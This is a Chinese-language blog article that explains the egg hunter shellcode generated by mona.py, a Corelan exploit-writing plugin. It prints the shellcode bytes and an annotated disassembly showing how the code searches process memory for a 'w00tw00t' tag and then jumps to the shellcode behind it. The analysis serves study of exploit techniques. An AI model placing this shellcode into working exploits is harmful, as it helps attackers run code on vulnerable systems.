欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

mona.py的egg hunter方法分析

程序员文章站 2024-01-06 21:39:04
  mona是一个为Immunity Debugger编写的插件,功能十分强大,可以帮助exploit编写人员快速找到想要的指令序列以及很多实用搜索内存的功能。其中有生...

 

mona是一个为Immunity Debugger编写的插件,功能十分强大,可以帮助exploit编写人员快速找到想要的指令序列以及很多实用搜索内存的功能。其中有生成egg hunter代码的功能,默认生成结果如下

 

================================================================================

  Output generated by mona.py v1.1

  Corelan Team - http://www.corelan.be

================================================================================

  OS : xp, release 5.1.2600

  Process being debugged : php (pid 15016)

================================================================================

  2011-11-19 22:20:41

================================================================================

Egghunter , tag w00t :

"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"

"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

Put this tag in front of your shellcode : w00tw00t

在OD中调试这段指令序列,可以整理出如下代码

 

00406030    66:81CA FF0F    OR DX,0FFF     ;产生一个edx初值

00406035    42              INC EDX   ;移动EDX  ---代码a

00406036    52              PUSH EDX ;保存EDX到堆栈

00406037    6A 02           PUSH 2  ; 

00406039    58              POP EAX ; 将2送入eax,为系统调用号

0040603A    CD 2E           INT 2E  ;

0040603C    3C 05           CMP AL,5 ;系统调用INT 2E并比较AL是否为5,注意如果此前EDX中的值指向的地址是不可写的,EAX == C0000005 否则为C00000C5

0040603E    5A              POP EDX  ;恢复EDX的值

0040603F  ^ 74 EF           JE SHORT shellcod.00406030  ;如果[EDX]不可写跳转到代码a

00406041    B8 77303074     MOV EAX,74303077

00406046    8BFA            MOV EDI,EDX

00406048    AF              SCAS DWORD PTR ES:[EDI]  ;查看EDI指向的内存是否是EAX的值

00406049  ^ 75 EA           JNZ SHORT shellcod.00406035 ;如果不是跳转到代码a

0040604B    AF              SCAS DWORD PTR ES:[EDI] ;如果是继续判断指向的内存是否为EAX的值(注意,前面SCAS后EDI会加上4)

0040604C  ^ 75 E7           JNZ SHORT shellcod.00406035 ;如果不是跳转到代码a

0040604E    FFE7            JMP EDI  ;发现egg,跳转到找到的代码处执行

 

摘自 痛苦的信仰